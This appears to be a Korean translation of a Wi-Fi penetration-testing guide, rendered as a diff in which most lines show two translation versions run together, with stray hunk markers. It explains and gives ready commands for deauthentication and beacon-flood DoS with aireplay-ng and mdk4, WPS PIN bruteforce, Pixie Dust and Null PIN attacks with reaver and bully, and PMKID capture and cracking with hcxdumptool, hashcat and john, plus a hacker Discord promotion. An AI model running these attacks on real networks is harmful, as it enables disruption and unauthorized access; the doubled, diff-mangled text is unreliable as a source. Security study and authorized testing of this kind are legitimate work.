* PMKID 또는 핸드셰이크가 있으면 상위 5000개의 암호를 사용하여 브루트포스를 시도합니다. * PMKID 또는 핸드셰이크가 있을 경우, 상위 5000개의 비밀번호를 사용하여 브루트포스 시도.
## 공격 요약 ## 공격 요약
* **DoS** * **DoS**
* 비인증/연결 해제 -- 모든 사람(또는 특정 ESSID/클라이언트)를 연결 해제합니다 * 비인증/연결 -- 모든 사람(또는 특정 ESSID/클라이언트) 연결 끊기
* 랜덤 가짜 AP -- 네트워크 숨기기, 스캐너 충돌 가능 * 랜덤 가짜 AP -- 네트워크 숨기기, 스캐너 충돌 가능
* AP 과부하 -- AP를 중단시키려고 시도합니다 (일반적으로 그다지 유용하지 않음) * AP 과부하 -- AP를 죽이려고 시도 (보통 그리 유용하지 않음)
* WIDS -- IDS와 상호작용 * WIDS -- IDS와 놀기
* TKIP, EAPOL -- 일부 특정 AP에 대한 DoS 공격 * TKIP, EAPOL -- 일부 AP에 대한 DoS 특정 공격
* **크** * **크래킹**
* **WEP** 크랙 (여러 도구 및 방법) * **WEP** 크랙 (여러 도구 및 방법)
* **WPA-PSK** * **WPA-PSK**
* **WPS** 핀 "브루트포스" * **WPS** 핀 "브루트포스"
* **WPA PMKID** 브루트포스 * **WPA PMKID** 브루트포스
* \[DoS +] **WPA 핸드셰이크** 캡처 + 크 * \[DoS +] **WPA 핸드셰이크** 캡처 + 크래킹
* **WPA-MGT** * **WPA-MGT**
* **사용자 캡처** * **사용자 이름 캡처**
* **브루트포스** 자격 증명 * **브루트포스** 자격 증명
* **악의적인 쌍둥이** (DoS 여부에 관계없이) * **이상한 쌍둥이** (DoS 유무에 관계없이)
* **열린** 악의적인 쌍둥이 \[+ DoS] -- 포털 자격 증명을 캡처하거나 LAN 공격을 수행하는 데 유용합니다 * **오픈** 이상한 쌍둥이 \[+ DoS] -- 캡티브 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
* **WPA-PSK** 악의적인 쌍둥이 -- 암호를 알고 있다면 네트워크 공격에 유용합니다 * **WPA-PSK** 이상한 쌍둥이 -- 비밀번호를 알고 있다면 네트워크 공격에 유용
* **WPA-MGT** -- 회사 자격 증명을 캡처하는 데 유용합니다 * **WPA-MGT** -- 회사 자격 증명 캡처에 유용
* **KARMA, MANA**, **Loud MANA**, **알려진 비콘** * **KARMA, MANA**, **Loud MANA**, **Known beacon**
* **+ 열린** -- 포털 자격 증명을 캡처하거나 LAN 공격을 수행하는 데 유용합니다 * **+ 오픈** -- 캡티브 포털 자격 증명 캡처 및/또는 LAN 공격 수행에 유용
* **+ WPA** -- WPA 핸드셰이크를 캡처하는 데 유용합니다 * **+ WPA** -- WPA 핸드셰이크 캡처에 유용
## DOS ## DOS
### 비인증 패킷 ### 비인증 패킷
**여기서 설명한 내용**: [**여기**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.** **설명은** [**여기**:](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**.**
**비인증** 공격은 Wi-Fi 해킹에서 흔히 사용되는 방법으로, "관리" 프레임을 위조하여 장치를 네트워크에서 **강제로 분리**합니다. 이러한 암호화되지 않은 패킷은 클라이언트를 속여 정당한 네트워크에서 온 것으로 믿게 하여 공격자가 WPA 핸드셰이크를 수집하거나 네트워크 연결을 지속적으로 방해할 수 있게 합니다. 이 간단한 전술은 네트워크 보안에 중대한 영향을 미치며 널리 사용됩니다. **비인증화** 공격은 Wi-Fi 해킹에서 널리 사용되는 방법으로, "관리" 프레임을 위조하여 **장치를 네트워크에서 강제로 연결 해제**합니다. 이러한 암호화되지 않은 패킷은 클라이언트가 합법적인 네트워크에서 온 것처럼 속여, 공격자가 크랙 목적으로 WPA 핸드셰이크를 수집하거나 네트워크 연결을 지속적으로 방해할 수 있게 합니다. 이 전술은 그 단순함에서 경악할 만하며, 네트워크 보안에 중대한 영향을 미칩니다.
**Aireplay-ng를 사용한 비인증화**
``` ```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0 aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
``` ```
* \-0은 인증 해제를 의미합니다. * \-0은 비인증을 의미합니다.
* 1은 보낼 인증 해제의 수입니다 (원하는 경우 여러 개를 보낼 수 있음); 0은 계속해서 보내는 것을 의미합니다. * 1은 보낼 비인증 수입니다(원하는 만큼 여러 개를 보낼 수 있습니다); 0은 계속해서 보냅니다.
* \-a 00:14:6C:7E:40:80은 액세스 포인트의 MAC 주소입니다. * \-a 00:14:6C:7E:40:80은 액세스 포인트의 MAC 주소입니다.
* \-c 00:0F:B5:34:30:30은 인증 해제할 클라이언트의 MAC 주소입니다; 이 부분을 생략하면 브로드캐스트 인증 해제가 전송됩니다 (항상 작동하지는 않음). * \-c 00:0F:B5:34:30:30은 비인증할 클라이언트의 MAC 주소입니다; 이 항목이 생략되면 브로드캐스트 비인증이 전송됩니다(항상 작동하지는 않음).
* ath0은 인터페이스 이름입니다. * ath0은 인터페이스 이름입니다.
### 연결 해제 패킷 ### 연결 패킷
**연결 해제 패킷**은 Wi-Fi 네트워크에서 사용되는 관리 프레임 유형인 인증 해제 패킷과 유사합니다. 이러한 패킷은 장치(예: 노트북 또는 스마트폰)와 액세스 포인트(AP) 간의 연결을 끊는 데 사용됩니다. 인증 해제와 연결 해제의 주요 차이점은 사용 시나리오에 있습니다. AP는 네트워크에서 명시적으로 로그인된 장치를 제거하기 위해 **인증 해제 패킷을 발신하는 반면, 연결 해제 패킷은 일반적으로 AP가 종료되거나 다시 시작되거나 이동 중일 때 모든 연결된 노드의 연결을 끊어야 하는 경우에 전송됩니다.** **연결 패킷**은 비인증 패킷과 유사하게 Wi-Fi 네트워크에서 사용되는 관리 프레임의 일종입니다. 이 패킷은 장치(예: 노트북 또는 스마트폰)와 액세스 포인트(AP) 간의 연결을 끊는 역할을 합니다. 비연결과 비인증의 주요 차이점은 사용 시나리오에 있습니다. AP가 **네트워크에서 악성 장치를 명시적으로 제거하기 위해 비인증 패킷을 방출하는 반면, 비연결 패킷은 일반적으로 AP가 종료, 재시작 또는 이동 중일 때 전송되어 모든 연결된 노드의 연결을 끊어야 합니다.**
**이 공격은 mdk4(모드 "d")를 통해 수행할 수 있습니다:** **이 공격은 mdk4(mode "d")로 수행할 수 있습니다:**
```bash ```bash
# -c <channel> # -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate # -b victim_client_mac.txt contains the MAC address of the device to eliminate
@ -149,9 +154,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
**여기** [**에서**](https://en.kali.tools/?p=864)**.** **여기** [**에서**](https://en.kali.tools/?p=864)**.**
**공격 모드 b: 비콘 홍수** **공격 모드 b: 비콘 플러딩**
가짜 AP를 클라이언트에 표시하기 위해 비콘 프레임을 보냅니다. 이는 때때로 네트워크 스캐너를 충돌시키거나 드라이버까지 다운시킬 수 있습니다! 클라이언트에 가짜 AP를 표시하기 위해 비콘 프레임을 전송합니다. 이로 인해 네트워크 스캐너와 드라이버가 충돌할 수 있습니다!
```bash ```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit # -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES) # -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
@ -159,9 +164,9 @@ mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
# All the parameters are optional and you could load ESSIDs from a file # All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m mdk4 wlan0mon b -a -w nta -m
``` ```
**공격 모드 a: 인증 거부 서비스** **ATTACK MODE a: 인증 서비스 거부**
범위 내의 모든 접근 가능한 액세스 포인트(AP)로 인증 프레임을 전송하면 특히 많은 클라이언트가 관련된 경우 이러한 AP를 과부하시킬 수 있습니다. 이 강렬한 트래픽은 시스템 불안정으로 이어질 수 있으며, 일부 AP가 멈추거나 재설정되도록 할 수 있습니다. 범위 내의 모든 접근 지점(AP)에 인증 프레임을 전송하면 이러한 AP가 과부하될 수 있으며, 특히 많은 클라이언트가 관련된 경우 더욱 그렇습니다. 이러한 강한 트래픽은 시스템 불안정성을 초래하여 일부 AP가 멈추거나 심지어 재설정될 수 있습니다.
```bash ```bash
# -a BSSID send random data from random clients to try the DoS # -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients # -i BSSID capture and repeat pakets from authenticated clients
@ -169,39 +174,39 @@ mdk4 wlan0mon b -a -w nta -m
# only -a or -i can be used # only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
``` ```
**공격 모드 p: SSID 프로빙 및 브루트포싱** **ATTACK MODE p: SSID Probing and Bruteforcing**
액세스 포인트(APs) 프로빙은 SSID가 올바르게 노출되었는지 확인하고 AP의 범위를 확인합니다. 이 기술은 **단어 목록을 사용하여 숨겨진 SSID를 브루트포싱** 함으로써 숨겨진 네트워크를 식별하고 액세스하는 데 도움이 됩니다. Access Point (AP) 탐색은 SSID가 제대로 공개되었는지 확인하고 AP의 범위를 확인합니다. 이 기술은 **숨겨진 SSID를 bruteforcing**하는 것과 결합되어 숨겨진 네트워크를 식별하고 접근하는 데 도움이 됩니다.
**공격 모드 m: Michael 대책 악용** **ATTACK MODE m: Michael Countermeasures Exploitation**
랜덤하거나 중복된 패킷을 다른 QoS 대기열로 보내면 **TKIP APs**에서 Michael 대책을 유발하여 1분간 AP가 종료됩니다. 이 방법은 효율적인 **DoS**(서비스 거부) 공격 전술입니다. 무작위 또는 중복 패킷을 다양한 QoS 큐에 전송하면 **TKIP APs**에서 Michael Countermeasures가 트리거되어 AP가 1분 동안 중단될 수 있습니다. 이 방법은 효율적인 **DoS** (서비스 거부) 공격 전술입니다.
```bash ```bash
# -t <BSSID> of a TKIP AP # -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS # -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j] mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
``` ```
**공격 모드 e: EAPOL 시작 및 로그오프 패킷 주입** **ATTACK MODE e: EAPOL Start 및 Logoff 패킷 주입**
**EAPOL 시작 프레임**을 사용하여 AP를 침수시켜 **가짜 세션**을 생성하면 AP를 압도하고 합법적인 클라이언트의 연결을 차단할 수 있습니다. 또는 **가짜 EAPOL 로그오프 메시지**를 주입하여 클라이언트를 강제로 연결 해제할 수 있으며, 가지 방법 모두 효과적으로 네트워크 서비스를 방해합니다. AP에 **EAPOL Start 프레임**을 플러딩하면 **가짜 세션**이 생성되어 AP를 압도하고 합법적인 클라이언트를 차단합니다. 또는 **가짜 EAPOL Logoff 메시지**를 주입하면 클라이언트를 강제로 연결 해제할 수 있으며, 두 방법 모두 네트워크 서비스를 효과적으로 방해합니다.
```bash ```bash
# Use Logoff messages to kick clients # Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l] mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
``` ```
**공격 모드 s: IEEE 802.11s 메시 네트워크를 위한 공격** **ATTACK MODE s: IEEE 802.11s 메시 네트워크에 대한 공격**
메시 네트워크에서 링크 관리 및 라우팅에 대한 다양한 공격. 메시 네트워크에서 링크 관리 및 라우팅에 대한 다양한 공격.
**공격 모드 w: WIDS 혼란** **ATTACK MODE w: WIDS 혼란**
다중 WDS 노드 또는 가짜 로그 AP에 클라이언트를 교차 연결하여 침입 탐지 및 방지 시스템을 조작하여 혼란과 잠재적 시스템 남용을 유발할 수 있습니다. 클라이언트를 여러 WDS 노드 또는 가짜 악성 AP에 교차 연결하면 침입 탐지 및 방지 시스템을 조작하여 혼란과 잠재적인 시스템 남용을 초래할 수 있습니다.
```bash ```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts) # -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z] mkd4 -e <SSID> -c <channel> [-z]
``` ```
**공격 모드 f: 패킷 퍼저** **ATTACK MODE f: Packet Fuzzer**
패킷 퍼저는 다양한 패킷 소스와 패킷 조작을 위한 포괄적인 수정자 세트를 제공합니다. 패킷 조작을 위한 다양한 패킷 소스와 포괄적인 수정자 세트를 갖춘 패킷 퍼저입니다.
### **Airggedon** ### **Airggedon**
@ -211,63 +216,63 @@ _**Airgeddon**_은 이전 댓글에서 제안된 대부분의 공격을 제공
## WPS ## WPS
WPS (Wi-Fi Protected Setup)는 **WPA** 또는 **WPA2** Personal로 암호화된 네트워크의 설정 속도와 편의성을 향상시키는 데 도움이 되는 라우터에 장치를 연결하는 프로세스를 간소화합니다. WEP 보안은 쉽게 침해당할 수 있기 때문에 효과가 없습니다. WPS는 8자리 PIN을 사용하며, 이는 두 부분으로 유효성을 검사하여 한정된 조합 수(11,000가지 가능성)로 인해 브루트 포스 공격에 취약합니다. WPS (Wi-Fi Protected Setup)는 장치를 라우터에 연결하는 과정을 단순화하여 **WPA** 또는 **WPA2** 개인용으로 암호화된 네트워크의 설정 속도와 용이성을 향상시킵니다. 쉽게 타협될 수 있는 WEP 보안에는 효과적이지 않습니다. WPS는 8자리 PIN을 사용하며, 두 부분으로 검증되므로 조합 수가 제한적(11,000 가능성)으로 인해 무차별 대입 공격에 취약합니다.
### WPS 브루트포스 ### WPS Bruteforce
이 작업을 수행하는 데 사용되는 주요 도구는 Reaver와 Bully가 있습니다. 이 작업을 수행하기 위한 두 가지 주요 도구가 있습니다: Reaver와 Bully.
* **Reaver**는 WPS에 대한 강력하고 실용적인 공격을 위해 설계되었으며 다양한 액세스 포인트 및 WPS 구현에 대해 테스트되었습니다. * **Reaver**는 WPS에 대한 강력하고 실용적인 공격을 위해 설계되었으며, 다양한 액세스 포인트와 WPS 구현에 대해 테스트되었습니다.
* **Bully**는 C로 작성된 **새로운 WPS 브루트 포스 공격 구현**입니다. 원래 reaver 코드보다 더 적은 종속성, 향상된 메모리 및 CPU 성능, endian 처리의 올바른 처리, 더 견고한 옵션 세트를 갖고 있습니다. * **Bully**는 C로 작성된 WPS 무차별 대입 공격의 **새로운 구현**입니다. 원래 Reaver 코드에 비해 몇 가지 장점이 있습니다: 의존성 감소, 메모리 및 CPU 성능 향상, 엔디안 처리의 정확성, 그리고 더 강력한 옵션 세트입니다.
이 공격은 **WPS PIN의 취약점**을 이용하며, 특히 처음 네 자리의 노출과 마지막 자리의 체크섬 역할로 인해 브루트 포스 공격이 용이해집니다. 그러나 **공격적인 공격자의 MAC 주소 차단**과 같은 브루트 포스 공격에 대한 방어책은 **MAC 주소 회전**을 요구하여 공격을 계속해야 합니다. 이 공격은 **WPS PIN의 취약성**을 이용하며, 특히 첫 네 자리 숫자의 노출과 마지막 숫자의 체크섬 역할이 무차별 대입 공격을 용이하게 합니다. 그러나 공격자의 MAC 주소를 차단하는 것과 같은 무차별 대입 공격에 대한 방어는 공격을 계속하기 위해 **MAC 주소 회전**을 요구합니다.
Bully 또는 Reaver와 같은 도구로 WPS PIN을 획득한 후 공격자는 WPA/WPA2 PSK를 추론하여 **지속적인 네트워크 액세스**를 보장할 수 있습니다. Bully 또는 Reaver와 같은 도구로 WPS PIN을 얻으면 공격자는 WPA/WPA2 PSK를 유추할 수 있어 **지속적인 네트워크 접근**을 보장합니다.
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
``` ```
**스마트 브루트 포스** **스마트 브루트 포스**
이 정교한 접근 방식은 알려진 취약점을 활용하여 WPS PIN을 대상으로 합니다: 이 정제된 접근 방식은 알려진 취약점을 이용하여 WPS PIN을 타겟으로 합니다:
1. **미리 발견된 PIN**: 특정 제조업체가 균일한 WPS PIN을 사용하는 것으로 알려진 알려진 PIN 데이터베이스를 활용합니다. 이 데이터베이스는 MAC 주소의 처음 세 옥텟을 이 제조업체의 가능한 PIN과 연결합니다. 1. **사전 발견된 PIN**: 특정 제조업체와 연결된 알려진 PIN의 데이터베이스를 활용하여 균일한 WPS PIN을 사용하는 것으로 알려진 제조업체를 대상으로 합니다. 이 데이터베이스는 MAC 주소의 처음 세 옥텟과 이러한 제조업체에 대한 가능성 있는 PIN을 연관시킵니다.
2. **PIN 생성 알고리즘**: ComputePIN 및 EasyBox와 같은 알고리즘을 활용하여 AP의 MAC 주소를 기반으로 WPS PIN을 계산합니다. Arcadyan 알고리즘은 추가로 장치 ID가 필요하여 PIN 생성 프로세스에 층을 더합니다. 2. **PIN 생성 알고리즘**: AP의 MAC 주소를 기반으로 WPS PIN을 계산하는 ComputePIN 및 EasyBox와 같은 알고리즘을 활용합니다. Arcadyan 알고리즘은 추가적으로 장치 ID를 요구하여 PIN 생성 과정에 추가적인 레이어를 더합니다.
### WPS Pixie Dust 공격 ### WPS 픽시 더스트 공격
**Dominique Bongard**는 일부 액세스 포인트(AP)에서 비밀 코드인 **논스**(E-S1 및 E-S2)를 생성하는 데 관한 결함을 발견했습니다. 이러한 논스를 알아낼 수 있다면 AP의 WPS PIN을 해독하는 것이 쉬워집니다. AP는 특별한 코드(해시) 내에서 PIN을 공개하여 해당 PIN이 정품이며 가짜(로그) AP가 아님을 증명합니다. 이러한 논스는 본질적으로 WPS PIN을 보관하는 "금고"를 열 수 있는 "열쇠"입니다. 이에 대한 자세한 내용은 [여기](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))에서 확인할 수 있습니다. **도미니크 봉가르**는 비밀 코드를 생성하는 것과 관련하여 일부 액세스 포인트(AP)에서 결함을 발견했습니다. 이 코드는 **논스**(**E-S1** 및 **E-S2**)로 알려져 있습니다. 이러한 논스를 알아낼 수 있다면 AP의 WPS PIN을 쉽게 해킹할 수 있습니다. AP는 PIN이 합법적이고 가짜(악성) AP가 아님을 증명하기 위해 특별한 코드(해시) 내에서 PIN을 공개합니다. 이러한 논스는 본질적으로 WPS PIN을 보관하는 "금고"를 여는 "열쇠"입니다. 이에 대한 더 많은 정보는 [여기](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))에서 확인할 수 있습니다.
간단히 말해, 문제는 일부 AP가 연결 프로세스 중에 PIN을 암호화하는 데 충분히 무작위하지 않은 키를 사용하지 않았다는 것입니다. 이로 인해 PIN이 네트워크 외부에서 추측될 수 있는 취약성이 발생합니다(오프라인 브루트 포스 공격). 간단히 말해, 문제는 일부 AP가 연결 과정에서 PIN을 암호화하기 위해 충분히 무작위적인 키를 사용하지 않았다는 것입니다. 이로 인해 PIN이 네트워크 외부에서 추측될 수 있는 취약점이 생깁니다(오프라인 브루트 포스 공격).
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3 bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
``` ```
만약 당신이 장치를 모니터 모드로 전환하고 싶지 않거나 `reaver``bully`에 문제가 있다면, [OneShot-C](https://github.com/nikita-yfh/OneShot-C)를 시도해 볼 수 있습니다. 이 도구는 모니터 모드로 전환하지 않고 Pixie Dust 공격을 수행할 수 있습니다. 장치를 모니터 모드로 전환하고 싶지 않거나 `reaver``bully`에 문제가 있는 경우, [OneShot-C](https://github.com/nikita-yfh/OneShot-C)를 시도해 볼 수 있습니다. 이 도구는 모니터 모드로 전환하지 않고 Pixie Dust 공격을 수행할 수 있습니다.
```bash ```bash
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37 ./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
``` ```
### 널 핀 공격 ### Null Pin 공격
일부 설계가 잘못된 시스템은 심지어 **널 핀** (빈 또는 존재하지 않는 핀)으로 액세스를 허용할 수 있으며, 이는 매우 이례적입니다. **Reaver** 도구는 이 취약점을 테스트할 수 있지만 **Bully**는 그렇지 않습니다. 일부 잘못 설계된 시스템은 **Null PIN**(빈 또는 존재하지 않는 PIN)이 접근을 허용하도록 하며, 이는 매우 드문 경우입니다. 도구 **Reaver**는 **Bully**와 달리 이 취약점을 테스트할 수 있습니다.
```bash ```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p '' reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
``` ```
### Airgeddon ### Airgeddon
제안된 모든 WPS 공격은 _**airgeddon**_을 사용하여 쉽게 수행할 수 있습니다. 제안된 모든 WPS 공격은 _**airgeddon.**_을 사용하여 쉽게 수행할 수 있습니다.
![](<../../.gitbook/assets/image (219).png>) ![](<../../.gitbook/assets/image (219).png>)
* 5 및 6은 **사용자 정의 PIN**을 시도할 수 있게 합니다 (있는 경우) * 5와 6은 **사용자 정의 PIN**을 시도할 수 있게 해줍니다 (있다면)
* 7 8은 **Pixie Dust 공격**을 수행합니다 * 7 8은 **Pixie Dust 공격**을 수행합니다
* 13은 **NULL PIN**을 테스트할 수 있게 니다 * 13은 **NULL PIN**을 테스트할 수 있게 해줍니다
* 11 및 12는 선택한 AP와 관련된 PIN을 **사용 가능한 데이터베이스에서 다시 수집**하고 ComputePIN, EasyBox 및 선택적으로 Arcadyan(권장, 왜냐하면?)을 사용하여 가능한 **PIN**을 **생성**합니다 * 11과 12는 **사용 가능한 데이터베이스에서 선택한 AP와 관련된 PIN을 수집하고** **가능한 PIN을 생성**합니다: ComputePIN, EasyBox 및 선택적으로 Arcadyan (추천, 왜 안 되겠습니까?)
* 9 및 10은 **모든 가능한 PIN**을 테스트합니다 * 9와 10은 **모든 가능한 PIN을 테스트**합니다
## **WEP** ## **WEP**
지금은 쉽게 깨지고 사용되지 않습니다. _**airgeddon**_이라는 WEP 옵션이 있는데 이를 통해 이러한 종류의 보호를 공격할 수 있습니다. 더 많은 도구들이 유사한 옵션을 제공합니다. 현재는 너무 깨져서 사용되지 않습니다. _**airgeddon**_에는 이러한 종류의 보호를 공격하기 위한 "All-in-One"이라는 WEP 옵션이 있다는 것만 알고 계십시오. 더 많은 도구들이 유사한 옵션을 제공합니다.
![](<../../.gitbook/assets/image (432).png>) ![](<../../.gitbook/assets/image (432).png>)
@ -275,18 +280,18 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 가입하여 경험 많은 해커 및 버그 바운티 헌터들과 소통하세요! 경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 서버에 참여하세요!
**해킹 통찰**\ **Hacking Insights**\
해킹의 즐거움과 도전에 대해 탐구하는 콘텐츠와 상호 작용하세요 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요
**실시간 해킹 뉴스**\ **Real-Time Hack News**\
실시간 뉴스와 통찰을 통해 빠른 속도의 해킹 세계를 따라가세요 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계를 최신 상태로 유지하세요
**최신 공지**\ **Latest Announcements**\
최신 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대해 알아두세요 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 함께 하여 최고의 해커들과 협업을 시작하세요! 오늘 [**Discord**](https://discord.com/invite/N3FrSbmwdy)에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!
*** ***
@ -294,17 +299,17 @@ reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
### PMKID ### PMKID
2018년에 **hashcat**이 [밝힌](https://hashcat.net/forum/thread-7717.html) 새로운 공격 방법은 **한 번의 패킷**만 필요하며 대상 AP에 연결된 클라이언트가 필요하지 않고 공격자와 AP 간의 상호 작용만 필요한 독특한 방법입니다. 2018년, **hashcat** [새로운 공격 방법을 공개했습니다](https://hashcat.net/forum/thread-7717.html). 이 방법은 **단일 패킷**만 필요하고, 클라이언트가 대상 AP에 연결될 필요가 없다는 점에서 독특합니다—단지 공격자와 AP 간의 상호작용만 필요합니다.
현대의 많은 라우터는 협회 중에 **첫 번째 EAPOL** 프레임에 **선택적 필드**를 추가하는데, 이를 `Robust Security Network`라고 합니다. 이것은 `PMKID`를 포함합니다. 많은 현대 라우터는 연결 중에 **첫 번째 EAPOL** 프레임에 `Robust Security Network`로 알려진 **선택적 필드**를 추가합니다. 여기에는 `PMKID`가 포함됩니다.
본 게시물에서 설명한 대로 **PMKID**는 알려진 데이터를 사용하여 생성됩니다: 래 게시물에서 설명하듯이, **PMKID**는 알려진 데이터를 사용하여 생성됩니다:
```bash ```bash
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA) PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
``` ```
주어진 "PMK Name"이 일정하다고 가정하면, 우리는 AP와 스테이션의 BSSID를 알고 있으며, `PMK`가 완전한 4-way 핸드셰이크로부터 동일하다면, **hashcat**은 이 정보를 사용하여 PSK를 해독하고 암호를 복구할 수 있습니다! 주어진 "PMK 이름"이 일정하므로, AP와 스테이션의 BSSID를 알고 있으며, `PMK`가 전체 4-way 핸드쉐이크의 것과 동일하다는 것을 알 수 있습니다. **hashcat**은 이 정보를 사용하여 PSK를 크랙하고 패스프레이즈를 복구할 수 있습니다!
이 정보를 **수집**하고 로컬에서 암호를 **브루트포스**하기 위해 다음을 수행할 수 있습니다: 이 정보를 **수집**하고 비밀번호를 로컬에서 **브루트포스**하려면 다음을 수행할 수 있습니다:
```bash ```bash
airmon-ng check kill airmon-ng check kill
airmon-ng start wlan0 airmon-ng start wlan0
@ -316,16 +321,16 @@ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer #You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1 ./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
``` ```
**캡처된 PMKIDs**는 **콘솔**에 표시되며 또한 **/tmp/attack.pcap**에 **저장**됩니다.\ 캡처된 **PMKIDs**는 **콘솔**에 표시되며 **/tmp/attack.pcap**에 **저장**됩니다.\
이제 캡처를 **hashcat/john** 형식으로 변환하여 **해독**하세요: 이제 캡처를 **hashcat/john** 형식으로 변환하고 크랙하세요:
```bash ```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
``` ```
올바른 해시 형식은 **4 부분**으로 구성되어야 합니다. 예시: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 만약 **3 부분**으로만 이루어진 해시라면, 이는 **유효하지 않습니다** (PMKID 캡처가 유효하지 않음). 올바른 해시의 형식은 **4부분**으로 구성되어 있습니다. 예: `4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838` 만약 당신의 해시가 **단지** **3부분**만 포함하고 있다면, 이는 **유효하지 않습니다** (PMKID 캡처가 유효하지 않았습니다).
`hcxdumptool`또한 **핸드셰이크를 캡처**합니다 (다음과 같은 내용이 표시됩니다: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). `cap2hccapx`를 사용하여 **핸드셰이크**를 **hashcat**/**john** 형식으로 **변환**할 수 있습니다. `hcxdumptool`**핸드쉐이크**도 **캡처**합니다 (이와 같은 것이 나타날 것입니다: **`MP:M1M2 RC:63258 EAPOLTIME:17091`**). 당신은 `cap2hccapx`를 사용하여 **핸드쉐이크**를 **hashcat**/**john** 형식으로 **변환**할 수 있습니다.
```bash ```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"] cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
@ -333,28 +338,28 @@ hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
